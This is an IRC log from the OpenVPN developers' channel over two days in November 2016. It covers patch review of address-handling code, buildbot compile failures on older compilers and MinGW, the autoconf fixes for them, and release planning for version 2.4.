then call mroute_addr_mask_netbits() 02:58 <@cron2> syzzer: that's "the second usage" - this path will never set MR_WITH_PORT 02:59 <@syzzer> oh, right :') 02:59 <@syzzer> but I do understand what it's supposed to be, so I'll 'fix' it in the patch :) 03:00 <@cron2> this won't crash if called on a sockaddr with len=18, but it will zero unexpected bytes - bug, even if never exposed. Right :-) 03:24 <@cron2> syzzer: arguably mroute_addr_mask_host_bits() needs fixing, though - the first line 03:24 <@cron2> in_addr_t addr = ntohl(*(in_addr_t*)ma->addr); 03:24 <@cron2> needs to go inside the MR_ADDR_IPV4 clause... 03:25 <@cron2> (and then be punning-alias-fixed :)) 03:28 <@syzzer> cron2: yes, already did that ;) 03:31 <@syzzer> patch looks like this now: https://gist.github.com/syzzer/9d39ee3ecd91bc8df6d9ded92d1b983e 03:31 <@vpnHelper> Title: gist:9d39ee3ecd91bc8df6d9ded92d1b983e · GitHub (at gist.github.com) 03:31 <@syzzer> going over it one more time before sending to the list 03:31 <@syzzer> most interesting bit is in mroute.h 03:44 < ValdikSS> Hello, any chance tls-crypt to get into 2.4 release? 03:45 <@cron2> that depends if someone reviews it until sunday 03:45 <@syzzer> plaisthos was planning on reviewing it 03:45 <@syzzer> last Thursday 03:45 < ValdikSS> I'm finally have time to fix openvpn-gui --import 03:49 <@cron2> syzzer: whee, whitespace explosion! 03:49 <@cron2> my nice and compact code! 03:50 <@syzzer> hehe, well, we do have this 80 char line limit ;) 03:51 <@cron2> { ma->addr[byte--] = 0; bits_to_clear -= 8; } 03:51 <@cron2> this is totally within! :-) 03:51 <@cron2> (but yeah, it is not according to coding style) 03:51 <@syzzer> yeah, but symmetry and stuff :p 03:51 <@cron2> generally speaking I like this :-) 03:51 <@syzzer> the one below was really getting too long :( 03:52 <@cron2> the one I feel a bit unsure about is v4mappedv6, because I do not know the structure packing requirements good enough 03:52 <@syzzer> I think the union approach really cleans things up 03:52 <@cron2> it's brilliant :) 03:52 <@syzzer> makes it a lot more clear what we're actually doing 03:53 <@cron2> the only thing that should not happen is that the compiler inserts padding between prefix[12] and addr in v4mappedv6... 03:54 <@syzzer> uint32_t are always 4-byte aligned, iirc 03:55 <@cron2> this is something I would normally add an ASSERT() check in my code for 03:55 <@cron2> something like 03:56 <@syzzer> we can do a _Static_assert, probably 03:56 <@cron2> ASSERT( &addr.v4mappedv6.addr == (&addr.v6.addr)+12 ) 03:57 <@cron2> this is something that only needs to be checked once per compile, not "for each access", but I have no idea how this is done best 03:57 <@cron2> + IN6_IS_ADDR_LINKLOCAL (&src.v6.addr) 03:57 <@cron2> pfff 03:58 <@syzzer> hehe, you caught me sneaking that in :p 03:58 <@syzzer> I even considered removing the comment above, since that is now redundant 03:59 <@cron2> leave the comment (because it emphasizes that this is "fe80::"), but the code change is for the better 04:00 <@cron2> the effective code is the same, but this is the proper way 04:01 <@cron2> heh 04:02 <@cron2> you introduced the v4mappedv6.addr part, but you are not actually using it :-) 04:02 <@syzzer> not :o 04:02 <@cron2> + memcpy (&ia.s_addr, &addr->addr.in6.sin6_addr.s6_addr[12], 04:02 <@cron2> + sizeof (ia.s_addr)); 04:02 <@syzzer> oops 04:02 <@cron2> socket.c, 2598 04:02 <@syzzer> good catch 04:03 <@cron2> the one in mroute_addr_print_ex() got converted 04:04 <@syzzer> ah, no, that is a struct openvpn_sockaddr, not struct mroute_addr 04:05 <@syzzer> and I decided not to pull that part into my bath tub too ;) 04:05 <@cron2> oh. good point :) 04:07 <@cron2> otherwise, this all looks very good 06:52 <@cron2> syzzer: I'm not sure if your documentation in mroute.h is right 06:53 <@cron2> if we can print the port with 06:53 <@cron2> + buf_printf (&out, ":%d", maddr.v4.port); 06:53 <@cron2> then it's not in network byte order 06:54 <@syzzer> cron2: hmm, good point 06:54 <@cron2> ah 06:54 <@cron2> no, the documentation is right, the code is wrong 06:54 <@cron2> buf_read_u16 does 06:54 <@cron2> return ntohs (ret); 06:54 <@syzzer> my bug? of old bug? 06:54 <@cron2> new bug 06:54 <@syzzer> ah, my bug probably 06:56 <@cron2> trying to figure out how to test that part 06:58 <@syzzer> yeah, this is another piece that could use some unit tests... 07:00 <@cron2> mmmh, I thought this might be called in updating the status file, but it isn't 07:02 <@cron2> Nov 12 18:33:36 gentoo tap-udp-p2mp[1310]: 194.97.140.3 TLS: Initial packet from [AF_INET6]::ffff:194.97.140.3:60135, sid=d62c2b40 c5450805 07:02 <@cron2> nah 07:02 <@cron2> (it would have been mapped) 07:03 <@cron2> ok... I've changed the code into 07:03 <@cron2> if (maddr.type & MR_WITH_PORT) 07:03 <@cron2> { 07:03 <@cron2> ASSERT(0); 07:03 <@cron2> buf_printf (&out, ":%d", maddr.v4.port); 07:03 <@cron2> } 07:03 <@cron2> ... and it's not crashing, so this code is definitely not executed on the client side :-) 07:03 <@cron2> let's see... 07:05 <@cron2> anyway, it should be htons(madr.v4.port), but now I'm really trying to figure out whether this is ever called 07:07 <@syzzer> the floatin msg perhaps? 07:08 <@syzzer> (I have the fix ready, but want to reproduce too) 07:09 <@cron2> might be but I can't trigger that one right now (no NAT in my test setup, so no NAT state I could flush) 07:10 <@cron2> we have a trac ticket regarding port numbers and IPv6 in the status output, where it turns out that 2.3 prints port numbers and 2.4 doesn't... 07:10 <@cron2> (but 2.4 does that consistently for v4 and v6 :) ) 07:12 <@syzzer> there we go: "Sun Nov 13 14:06:48 2016 MULTI: Connection from 10.1.1.2:42400 would exceed new connection frequency limit as controlled by --connect-freq" 07:15 <@cron2> Nov 13 14:08:33 gentoo openvpn[12387]: TLS: tls_pre_decrypt, key_id=0, IP=[AF_INET]193.149.48.174:37328 07:15 <@cron2> this might also be affected 07:15 <@cron2> --verb 7 07:15 <@cron2> or maybe not 07:15 <@cron2> as it does not crash 07:15 <@syzzer> heh 07:19 <@cron2> Nov 13 14:12:16 gentoo tun-udp-p2mp[12500]: 193.149.48.174 GET INST BY REAL: 193.149.48.174 [ok] 07:19 <@cron2> why is there no port... 07:19 * cron2 wonders if we have broken "two OpenVPN instances behind the same NAT public IP" somewhere (by not storing ports anymore) 07:20 <@cron2> note to self: test with NAT! 07:20 <@cron2> anyway 07:20 <@syzzer> pff, this is a lot of unknown code for me 07:21 <@cron2> can't trigger this particular code, but it needs a htons() :-) - could you send v3, so I can start the (lengthy) client/server side tests? 07:21 <@syzzer> ok, will do 07:25 <@syzzer> the --connect-freq error message definitely triggers this code :) 07:25 <@syzzer> (and it contains the correct port number now) 07:28 <@cron2> cool :) 07:36 <@cron2> aw shit, don't run two clients against the same *p2p* peer at the same time 07:37 <@cron2> Nov 13 14:29:58 gentoo tun-udp-p2p[20874]: Authenticate/Decrypt packet error: bad packet ID (may be a replay): [ #156 / time = (1479043765) Sun Nov 13 14:29:25 2016 ] -- see the man page entry for --no-replay and --replay-window for more info or silence this warning with --mute-replay-warnings 07:37 <@cron2> Nov 13 14:29:58 gentoo tun-udp-p2p[20874]: PID_ERR time backtrack [0] [STATIC-0] [>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>] 1479043769:104 1479043765:157 t=1479043798[0] r=[-1,64,15,0,1] sl=[24,64,64,528] 07:37 <@cron2> scary stuff in the server log :) 07:37 <@cron2> Test sets failed: 8. 07:37 <@cron2> ... unhappy client :) 07:38 <@syzzer> hehe, yeah, that won't work 07:46 <@cron2> t_client run OK (fbsd74, 23)! 07:46 <@cron2> Test sets succeded: 1 1a 2 2b 3 4 5 8 9. 07:46 <@cron2> this is better :) 07:50 <@cron2> Sun Nov 13 14:40:28 2016 --mtu-disc is not supported on this OS 07:50 <@cron2> Sun Nov 13 14:40:28 2016 Exiting due to fatal error 07:50 <@cron2> meh 07:50 <@cron2> "using the very same t_client.rc on linux and freebsd"... 07:57 <@syzzer> \o/ 07:57 <@cron2> pushed, and off to grandma for sunday afternoon coffee :-) 07:57 <@syzzer> enjoy! 08:00 <@vpnHelper> RSS Update - gitrepo: Don't deference type-punned pointers <https://github.com/OpenVPN/openvpn/commit/8cac9b98d58b97fbd5a23dd9f172a9843ecf5b50> 08:22 <@syzzer> d12fk: llvm isn't happy with the --wrap=parse_line :( https://travis-ci.org/syzzer/openvpn/jobs/175478037 08:22 <@vpnHelper> Title: Travis CI - Test and Deploy Your Code with Confidence (at travis-ci.org) 09:09 < ordex> ah now it's better 09:10 < ordex> I am not sure why my IRc client part'd this channel 09:10 < ordex> :) 09:16 < ordex> syzzer: your patch has not been merged yet, right ? 09:17 < ordex> I think it was feature-ACK'd but not applied yet, right ? 09:27 <@cron2> ordex: "your patch"? syzzer sends dozens every day :-) 09:28 < ordex> cron2: :D 09:28 < ordex> he know what I mean :D 09:28 < ordex> I am referring to the patch about the CRL handling refactoring 09:28 * cron2 assumes it's the CRL cleanup 09:28 < ordex> right 09:28 <@cron2> right :) 09:28 < ordex> ;P 09:28 <@cron2> ouch 09:28 <@cron2> dang 09:28 <@cron2> grrr 09:29 <@cron2> wtf 09:29 <@cron2> *NetBSD* buildbot exploded 09:29 <@cron2> mroute.h:99: warning: declaration does not declare anything 09:29 <@cron2> mroute.h:103: error: 'struct mroute_addr' has no member named 'v4' 09:29 <@cron2> mroute.h:103: error: 'struct mroute_addr' has no member named 'v4' 09:29 <@cron2> mroute.h:103: error: bit-field '__error_if_negative' width not an integer 09:29 <@cron2> when included from error.c 09:30 <@cron2> errorc->ps.h->ssl.h->options.h->manage.h->mroute.h 09:30 <@cron2> sheesh 09:30 <@cron2> same thing on openbsd 09:30 <@cron2> why did I test on FreeBSD, then? grr 09:30 <@cron2> oh... centos6 also failed 09:31 <@cron2> why did I test on Linux? 09:31 <@cron2> aaah 09:31 <@cron2> it's the --disable-things build that break 09:32 <@cron2> mmmh, no 09:33 <@cron2> "older systems" fail, "more recent ones" are good 09:33 <@cron2> windows building fails 09:33 <@cron2> mroute.h:89:7: error: unknown type name 'in_port_t' 09:35 <@cron2> so we have fails on netbsd-51, openbsd-49, centos-6, freebsd-90, freebsd-74, and mingw/ubuntu1404 09:36 <@cron2> netbsd-7, openbsd-60, freebsd-103, macos, and all recent linuxes are fine 09:41 <@cron2> the C compiler seems to be upset about the anonymous union 09:43 <@cron2> dang 09:43 <@cron2> if I give the union a name ("a") AND change all references to be addr->a.v4.addr (etc), the error is gone 09:44 <@cron2> so it's not a "missing header file" thing but "C compiler too old" 09:57 <@cron2> ok, *that* was magic 10:09 <@syzzer> oh, wow, that's too bad :( 10:09 <@cron2> indeed. The mingw fallout is trivially fixed (patch on the list), but no idea how to do the others nicely 10:10 <@syzzer> I loved the anonymous struct part about this solution... 10:10 <@cron2> +473 10:11 <@syzzer> I *think* I can fix this with some nasty preprocessor magic for the older platforms (while doing it 'right' for the current ones) 10:11 <@cron2> feel free to test on the freebsd box you have an account on (that might be fbsd90 or fbsd82.ov.greenie.net, can't remember) 10:12 * cron2 goes on to test block-outside-dns v2 10:14 <@syzzer> yeah, thanks, will do 10:26 <@cron2> that was the easy part :) 10:28 <@vpnHelper> RSS Update - gitrepo: Add in_port_t check to configure.ac <https://github.com/OpenVPN/openvpn/commit/dd6714ae0a47a9401898ccc0dd7079f58ba29901> 10:28 <@syzzer> I can make it compile again with an non-anonymous union and a few defines, now on to see how I can make configure detect anonymous struct support... 10:29 * cron2 fights windows 10:29 <@syzzer> ordex: CRL patch is awaiting a final ACK 10:29 <@cron2> supposedly there is a "tapinstall.exe" after installation, to, uh, install extra tap ports 10:29 <@cron2> but it isn't 10:30 <@syzzer> devcon.exe ? 10:37 <@cron2> extract tap-windows.exe from our installer by means of 7zip, then run that to get a tapinstall.exe 10:37 * cron2 is amazed 10:53 <@cron2> so. block-outside-dns v2 tested, on win7 with two tap adapters and varying configs and DNS servers 10:53 <@cron2> that stuff is getting complicated :) 10:54 <@cron2> oh, whee, ACKs from plaisthos 10:56 <@plaisthos> yeah 10:56 <@plaisthos> mostly nitpicking 10:57 <@cron2> and a NAKy 2/5 10:57 <@syzzer> plaisthos: thanks! as soon as I have fixed my anonymous union breakage, I'll process your comments 10:57 <@plaisthos> :) 10:58 <@plaisthos> Finally got half an hour to finish the review I did on the plane 10:58 <@syzzer> where are you? 10:58 <@plaisthos> (it is strange to see the wrong time in the chat window here) 10:58 <@plaisthos> Montreal 10:58 <@syzzer> ah, still day there 11:00 * cron2 will refrain from pushing more stuff until we have the union fix 11:00 <@cron2> spam spam spam wonderful buildbot spam :) 11:00 <@plaisthos> union fix? 11:01 <@plaisthos> syzzer: 12 clock :) 11:01 <@cron2> syzzer caused a massive buildbot explosion :-) - breaking everything that is older than freebsd 10 or "recent linux" 11:02 <@plaisthos> does os x still build? 11:02 <@cron2> yep 11:02 <@syzzer> by using a c11 feature that seemed to work with -std=c99 on my machine O-) 11:02 <@plaisthos> lol :0 11:06 <@cron2> it fails in quite interesting ways on my -std=c99 machines :) 11:06 <@cron2> (of course not on any of the boxes I've *tested*) 11:06 <@cron2> macos still likes to fail 4a :) 11:45 <@syzzer> hrmpf, my autoconf test does not detect broken compilers properly :( 12:15 <@cron2> broken test for broken compiler :) 12:21 * cron2 wonders if we use "v4" or "v6" anywhere else in the code which will blow up in interesting ways then :-) 12:34 <@cron2> compiles on fbsd7.4 12:37 <@cron2> #define HAVE_ANONYMOUS_UNION_SUPPORT /**/ 12:37 <@cron2> freebsd 10 12:37 <@cron2> #define HAVE_ANONYMOUS_UNION_SUPPORT /**/ 12:37 <@cron2> linux 12:39 <@cron2> looks quite good... :) 12:41 * cron2 pushes, closes the laptop, and hides 12:44 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2b 2c 2d 3 4 4a 5 6 8 9. 12:44 <@vpnHelper> RSS Update - gitrepo: Fix builds on compilers without anonymous union support <https://github.com/OpenVPN/openvpn/commit/9223336a88bc065348d0ce37621bbf2b1087ba0e> || Support --block-outside-dns on multiple tunnels <https://github.com/OpenVPN/openvpn/commit/fc30dc5f20d455242ed8489fb1a99446287ba9cb> 12:46 <@syzzer> cron2: yeah, I wondered about that too, but apparently we don't 12:47 <@syzzer> once we move to -std=c11, we can remove the workaround :) 13:22 <@cron2> argh 13:22 <@cron2> the new patch broke mingw compilation 13:22 <@cron2> checking for struct sockaddr_in6... no 13:22 <@cron2> configure: error: struct sockaddr_in6 not found, needed for ipv6 transport 13:22 * cron2 has no idea why 13:22 <@syzzer> uh? 13:23 * syzzer fires up mingw too 13:23 <@cron2> maybe the -std=c99 wasn't added to mingw before 13:24 <@syzzer> ahh, that could be. at least not during the check 13:24 <@syzzer> still weird though 13:25 <@cron2> it starts with this one 13:26 <@cron2> checking ws2tcpip.h usability... no 13:26 <@cron2> checking ws2tcpip.h presence... yes 13:26 <@cron2> configure: WARNING: ws2tcpip.h: present but cannot be compiled 13:26 <@cron2> so "something is not right" 13:26 <@syzzer> what kind of system is this? 13:26 <@syzzer> and mingw version? 13:27 <@cron2> conftest.c:43:19: error: two or more data types in declaration specifiers 13:27 <@cron2> #define socklen_t int 13:27 <@cron2> ubuntu1404 13:27 <@cron2> uh, how do I query mingw version? 13:28 <@cron2> 3.1.0-1 13:29 <@syzzer> ah, my 16.04 is also complaining, if I compile the right branch ;) 13:29 <@cron2> hrhr 13:30 <@cron2> ah 13:30 <@cron2> I think I can see where this is failing 13:30 <@cron2> we first check for "socklen_t" in 13:30 <@cron2> conftest.c:49:24: fatal error: sys/socket.h: No such file or directory 13:30 <@cron2> so then we add "#define socklen_t int" to our define list 13:31 <@cron2> and then ws2tcpip.h comes along, which has "typedef int socklen_t" which conflicts with the #define 13:31 <@cron2> I would assume that without c99, the compiler just frowns and ignores this... 13:32 <@syzzer> right, that could be... 13:32 <@syzzer> so, do you have a patch I can ACK? :p 13:32 <@cron2> no 13:34 <@cron2> what about: move the c99 setting to "where it was", and move your new code block just after that? 13:35 <@syzzer> to hide our bug again? 13:35 <@syzzer> it would work, but I wouldn't call that pretty 13:35 <@cron2> well, the alternative is "understand autoconf" 13:35 * cron2 does not feel like that today 13:35 * syzzer neither, but I'll give it a try anyway 13:35 <@cron2> I don't even find a test for socklen_t in our configure.ac 13:36 <@cron2> ah 13:36 <@cron2> wait :) 13:36 <@syzzer> AX_TYPE_SOCKLEN_T 13:37 <@cron2> there's the catch: 13:37 <@cron2> #ifdef WIN32 13:37 <@cron2> #include <ws2tcpip.h> 13:37 <@cron2> #else 13:37 <@cron2> #include <sys/socket.h> 13:37 <@cron2> #endif 13:37 <@cron2> with -std=c99, WIN32 is no longer defined, and this should be _WIN32 13:37 <@syzzer> aha! 13:37 * cron2 remembers a patch... :) 13:37 <@syzzer> ok, I'll review the _WIN32 patch then 13:38 <@cron2> nah, configure is not part of that, especially this is not in configure.ac 13:38 <@cron2> where does AX_TYPE_SOCKLEN_T come from... 13:38 <@syzzer> https://www.gnu.org/software/autoconf-archive/ax_type_socklen_t.html 13:38 <@vpnHelper> Title: Autoconf Archive: ax_type_socklen_t (at www.gnu.org) 13:38 <@cron2> ah, m4/ax_socklen_t.m4 13:39 <@cron2> right 13:39 <@cron2> patch! 13:42 <@cron2> that's a really good one :-) - add a single character, get my commit count bumped! 13:43 <@cron2> the big _WIN32 patch didn't dare to touch any of the configure things 13:43 <@syzzer> hm, won't apply :( 13:43 <@cron2> whut? 13:45 <@cron2> which one? "the big one" or "the one-character fix I just sent"? 13:45 <@syzzer> oh, no, 'the big one' 13:46 <@syzzer> shouldn't we just do the big one? 13:46 <@cron2> the big one doesn't touch m4/ stuff 13:46 <@syzzer> ah, won't fix this. nvm 13:47 <@syzzer> let's see what breaks next... 13:48 <@cron2> the big one was done on a branch that is a bit behind, so I think I need to redo that one 13:48 <@syzzer> yeah, probably 13:48 <@syzzer> I was trying to find an old commit on which it does apply, so I can cherry-pick, but couldn't find one quickly 13:49 <@syzzer> how do you deal with patches that won't apply? manual resolving? 13:49 <@cron2> this goes on top of Heiko's windows tap fix, ~51 behind 13:49 <@syzzer> ah 13:49 <@cron2> this depends a bit on why - sometimes it's obvious (context has changed in "trivial" ways), sometimes I need to understand the code, sometimes I just refuse the patch and ask for rebased version 13:50 <@cron2> mail-archive.com is nice, but their indexing lags a few hours, which is just too slow for us :) 13:53 <@cron2> the conflict is console.c, dazo kicked the WIN32 from there :) 13:53 <@vpnHelper> RSS Update - gitrepo: Fix compilation on MinGW with -std=c99 <https://github.com/OpenVPN/openvpn/commit/11eedcd0071e7185fc3011cda4703f5cc75fe979> 13:54 <@cron2> v2 coming soon 13:55 <@syzzer> good, because I just gave up :p 13:57 <@cron2> usually trying "patch -p1 <$file" is also helpful, as it tends to be more liberal about context mismatches than git 13:58 <@cron2> out 13:58 <@syzzer> whay I really miss is the cherry-pick like conflict resolution 13:58 <@syzzer> "I applied 95%, go figure out what to do with the remaining 5%" 13:59 <@cron2> "show me each hunk, with the context where it is supposed to apply, and tell me why it's not applying, then let me decide" :) 13:59 <@syzzer> ah "git am -3"... 13:59 <@cron2> and of course git knows that the offending code moved from console.c to console_builtin.c, so it could have just told you :) 14:00 <@cron2> oh, cool 14:00 <@cron2> does that magically work here? 14:00 <@syzzer> no, doesn't :( 14:01 <@cron2> huh 14:02 <@syzzer> ah, doesn't work because the sha1's don't match 14:03 <@syzzer> was probably based on a commit that changed before being pushed out 14:03 <@cron2> my freebsd 10 buildbot claims offlinitis... everything else is nicely green 14:03 <@cron2> right, windows bits and pieces, d12fk's patch based on "master-back-then", but when it was merged, sha1 was different 14:04 <@syzzer> that breaks -3, but still looks useful for other patches 14:07 * syzzer is calling it a day 14:07 <@cron2> yeah, just restarting the buildslaves (openvpn died...) 14:07 <@cron2> and then, TV and couch... quite an intense day 14:07 <@syzzer> was a good day to get stuff done, but now time for TV and couch, indeed 14:08 <@syzzer> good night :) 14:08 <@cron2> n8 14:46 < ValdikSS> https://github.com/OpenVPN/openvpn-gui/pull/76 14:46 <@vpnHelper> Title: Functionality to import configuration file from the command line by ValdikSS · Pull Request #76 · OpenVPN/openvpn-gui · GitHub (at github.com) 15:20 <@cron2> Subject: NOTICE: build-snapshot succeeded for commit 11eedcd007 on branch master 15:49 <@d12fk> syzzer: --wrap is from the official cmocka docs, seems they do not care about anything other than gnu ld... 15:50 <@d12fk> https://lwn.net/Articles/558106/ 15:51 <@vpnHelper> Title: Unit testing with mock objects in C [LWN.net] (at lwn.net) 16:07 <@d12fk> german c't magazine mentions 2.4 and the interactive service in the current issue. I'm famous now. Chicks dig it. Showed it to my wife and she was like: aha. =) 16:07 < Thermi> Hehe. 16:08 < Thermi> This is how you get intelligent girls in 2016 16:08 < Thermi> Do IT well 20:09 < ordex> syzzer: thanks for the info. what is the normal workflow: should I wait for it to be merged before sending the follow-up, or can i send it already and mention the dependency? --- Day changed Mon Nov 14 2016 01:47 <@cron2> d12fk: congratulations! :-) 01:47 <@cron2> dazo, syzzer: today (before the meeting) the commit/break/fix cycle is on you, need to get other work done 03:54 <@dazo> d12fk: cool! 03:57 <@syzzer> dazo: how can we help you get enough confidence in the CRL patch? 03:57 <@syzzer> perhaps ordex can provide the second-ACK? He has been working on this code too. 03:58 <@syzzer> ordex: it is fine to send the patch to the list now, and just state 'this patch needs syzzer's stuff to be applied first' 03:59 <@dazo> syzzer: grant me wisdom into the openssl API? ;-) .... yeah, that'd be good .... I consider CRL a critical code path, so having an extra ACK is good ... If we don't get anything before the 2.4_beta1 release, I'll carry the full ACK ... I mean, cron2 haven't screamed "NO!!!" yet, and he should have had enough time to do so ;-) 04:00 <@dazo> syzzer: btw! thx for the v2 patch of the tls-crypt stuff 04:00 <@syzzer> d12fk: the strange thing is that it *does* work with clang on the linux build hosts 04:01 <@syzzer> d12fk: love the reaction of the wife :') did they also mention you in c't? 04:02 <@syzzer> dazo: the thing is, ordex has some more nice CRL improvements up his sleeve, and it would be good to get them in asap to maximize testing exposure 04:02 <@dazo> syzzer: When I very quickly looked at the warn_if_group_others_accessible() ... we might want to refactor that into the the check_file_access() ... haven't checked if there are callers outside that scope in options.c, but I consider that more a clean-up patch 04:03 <@dazo> syzzer++ I agree ... let's have a brief discussion on your CRL patch in the meeting and agree on a sane path forward 04:03 <@syzzer> dazo: sounds like a good plan, but let's separate that from the tls-crypt patch set 04:03 <@dazo> yupp! 04:04 <@dazo> I'll have a closer look at the ACKed tls-crypt patches today, and I'll apply those which makes sense independently of the non-acked patches 04:06 <@syzzer> dazo: great! 04:09 <@cron2> dazo: cool. That's what I was hoping for :-) (I'm too busy during daytime today and tomorrow) 04:15 <@syzzer> I'm also quite busy with other $work projects today, so don't expect more than 'check IRC every now and then, give brief answers' until the meeting 04:19 <@cron2> http://www.commitstrip.com/en/2016/10/31/bohemian-coder/ 04:19 <@vpnHelper> Title: Bohemian Coder | CommitStrip (at www.commitstrip.com) 04:19 <@cron2> "2.4 release is close!" 04:20 <@syzzer> :') 04:20 <@dazo> lol .... do we have an insider who leaks this stuff!?!? ;-) 04:22 <@d12fk> syzzer: nah no mention, that would be strange for just a fix. Besically it was just two lines mentioning the feature. =) 04:23 * cron2 has read it, too, and showed to $wife 04:26 <@dazo> is the article online? 04:29 <@cron2> https://shop.heise.de/katalog/netze-679e36 04:29 <@cron2> "sort of" 04:30 <@cron2> seems it did not make the news ticket, just the print version - and they want real money to read it 04:37 <@cron2> news ticker even 05:45 <@d12fk> i can scan at home tonight or just type it in here 05:45 <@d12fk> it's not that long, rather a side note 07:24 <@ecrist> I should re-release easy-rsa to repackage the binaries 07:24 <@ecrist> it got screwed up at some point 07:39 <@mattock> ecrist: ok 07:39 <@mattock> we should get easyrsa3 into our apt repos at least 07:39 <@mattock> what do you think about easyrsa3 + windows installers? 07:58 <@ecrist> sounds like a good idea. 07:58 <@ecrist> Josh Cepek wrote most of 3.0, and he's been essentially AWOL for the past two years. :( 08:14 <@ecrist> cron2: are you here? 08:26 <@cron2> ecrist: sort of 08:26 <@ecrist> what was your build problem with 8.4? 08:26 <@ecrist> I'm having problems, too, but I suspect it's more of an environment problem. 08:28 <@cron2> ecrist: mbedtls build built with openssl instead 08:28 <@ecrist> ah, that's right 08:28 <@cron2> (--with-crypto-library=xxxx is not passed to configure) 08:28 <@cron2> that's right? *raise eyebrow* :) 08:31 <@ecrist> ports on 8.4 seems rather broken 08:31 <@ecrist> dialog4ports won't compile 08:37 <@ecrist> heh 08:37 <@ecrist> WARNING: FreeBSD 8.4-RELEASE HAS PASSED ITS END-OF-LIFE DATE. 08:37 <@ecrist> Any security issues discovered after Fri Jul 31 19:00:00 CDT 2015 08:37 <@ecrist> will not have been corrected. 08:40 <@ecrist> I think we should consider this a dead release 08:55 <@cron2> ecrist: well, that's what I said - "if this is the outcome, it's a valid reply" 08:56 <@cron2> openvpn itself will work nicely, though :) 08:56 <@ecrist> yeah, the fact I can't get a new 8.4 box up and running is somewhat telling 08:56 <@ecrist> the ports tree moves at it's own pace 09:20 <@dazo> mattock: Regarding meeting today ... I will do my very best to come as soon as possible, but today have been a more challenging day with $kid so I might quite likely get delayed 09:21 <@dazo> (in general, Mon and Tue are quite challenging until early december as I'm home alone with $kid in afternoons/evenings. Wed + Fri are usually mostly better times, and often Thu as well) 10:04 <@syzzer> I might be a little late too - I'm squizing sports in between work and meeting 10:05 <@syzzer> (Thu and Fri wouldn't work for me, but Tue and Wed would be better than Mon) 10:11 <@cron2> Tue is my sports day, Wed could be arranged 10:20 <@syzzer> if Wed works for mattock too, we might want to switch to Wed then 10:26 <@cron2> right 10:27 <@syzzer> not this week of course, but in the future 12:59 * cron2 looks slightly annoyed 13:00 <@cron2> someone, and I'm not looking at anyone in particular, has added an #include <assert.h> to error.h, so 3/5 is now failing... 13:02 < sagatak> cron2: i promise to not do it again 13:02 <@vpnHelper> RSS Update - gitrepo: Add missing includes in error.h <https://github.com/OpenVPN/openvpn/commit/b7e51b137929e325e2ac3c14f751c3f642063cd5> || Refactor static/tls-auth key loading <https://github.com/OpenVPN/openvpn/commit/28c115e401636432b1da2365b8f144523d9d7c53> 13:03 <@cron2> sagatak: whoever you are, I'm fairly sure it wasn't you :-) 13:05 < sagatak> cron2: i'm fairly sure you are correct, but seeing as nobody owned up to it, i thought what za' hell, eh? :P 13:05 <@cron2> haha :-) 13:05 <@cron2> I very well know who did this (and who ACKed and merged the patch in question :) ) 13:08 < sagatak> assuming it's one of the openvpn devels, i'd say don't be too harsh. i like openvpn. especially when somebody asks me "have you considered cisco or $commercial_solution?" and i can say "yeah. it's inferior." 13:08 <@cron2> it was syzzer who broke his own patch by fixing something else, and it was me who acked and merged it :-) 13:08 <@cron2> so this was with a smile 13:09 < sagatak> cron2: that's actually kind of cool :D 13:10 < sagatak> cron2: um, may i try to ask you something somewhat illegal in this channel? i was unable to find the answer anywhere, and i'm too dumb to read the source code i'm afraid 13:11 <@cron2> ask you can... :) 13:12 < sagatak> cron2: fair enough :) 13:13 < sagatak> openvpn server, a few hundred clients connected. i'm trying to send "kill $client" from the server side management interface. unfortunaely, client takes it as SIGUSR1, and doesn't cleanup it's routes (as if it has persist-tun?) 13:14 <@cron2> I'm not sure. "kill" is definitely not going to *abort* the client, just tell it to reconnect 13:14 < sagatak> i'm wondering if there's some way to make this work; the server itself does have "persist-tun" configured, and i know that if i somehow SIGHUP the client (manually on client side, for instance), it works fine 13:14 <@cron2> so when it receives the same routes on reconnect, it won't change anything 13:15 <@cron2> but maybe there is an extra option to kill to send the client a "full restart" 13:16 < sagatak> that's what i'm wondering. on client side, windows client (gui), if i click "reconnect" it does a HUP, so does it properly, and doesn't prompt for credentials (so still caches them) 13:16 <@cron2> maybe dazo can answer this (will show up some time later) 13:18 < sagatak> cron2: okay, cheers, i'll try a bit later maybe, then 13:19 < sagatak> cron2: and thanks a lot 13:39 <@vpnHelper> RSS Update - gitrepo: remove unused system_str from struct argv <https://github.com/OpenVPN/openvpn/commit/d6ab1dc49e5c8018f58e7c3c9fe64f4289ccc77b> || Remove unused and unecessary argv interfaces <https://github.com/OpenVPN/openvpn/commit/aed5ef40c47c58b3b7bc624113396a26e5e2cba5> || put argv_* functions into own file, add unit tests <https://github.com/OpenVPN/openvpn/commit/698e268afb53014614f8e90ac8ff0667ce5e555d> 13:55 <@vpnHelper> RSS Update - gitrepo: Make argv unit tests obey {MBEDTLS, OPENSSL}_{LIBS, CFLAGS} <https://github.com/OpenVPN/openvpn/commit/ac42df1a2e53e84c67397989df3f0650bed3ae7a> || Factor out %sc handling from argv_printf() <https://github.com/OpenVPN/openvpn/commit/253609124459f8df96e059bba9c164299a32318e> 14:23 <@vpnHelper> RSS Update - tickets: #768: Remove --key-method 1 <https://community.openvpn.net/openvpn/ticket/768> 15:44 <@syzzer> dazo: --key-method will not work with static keys 15:44 <@syzzer> it is for TLS only 15:49 <@dazo> syzzer: well, tls-mode must use --key-method 2 15:49 <@syzzer> dazo: nope 15:50 * dazo re-tests ... I tested that as well 15:50 <@syzzer> just try openvpn --config sample-config/loopback-server --key-method 1 from sample/ 15:50 <@dazo> Options error: --client requires --key-method 2 15:51 <@syzzer> yes, that's p2mp mode 15:51 <@syzzer> != tls mode 15:51 <@syzzer> we can do tls in p2p mode 15:52 <@dazo> ahh 15:53 <@syzzer> but yeah, this is quite the corner case... 15:54 <@dazo> right, okay ... I have something testable now .... thx! 15:55 <@dazo> p2p + tls is a mode I've never used before, so that's why it didn't cross me as relevant ... I suspect it is --ifconfig-pool which then switches from p2p to p2mp (which --server adds) 15:55 <@dazo> duh .. --mode server 15:56 <@syzzer> hehe, yep 15:56 <@dazo> we DO have too many options! :) 15:56 * dazo starts hunting for his discarded commit :) 15:57 <@syzzer> well, I like this one, makes testing tls changes easier ;) 15:57 <@dazo> heh :) 16:17 <@dazo> so whenever vpnHelper wakes up ..... 16:17 <@vpnHelper> RSS Update - gitrepo: Deprecate key-method 1 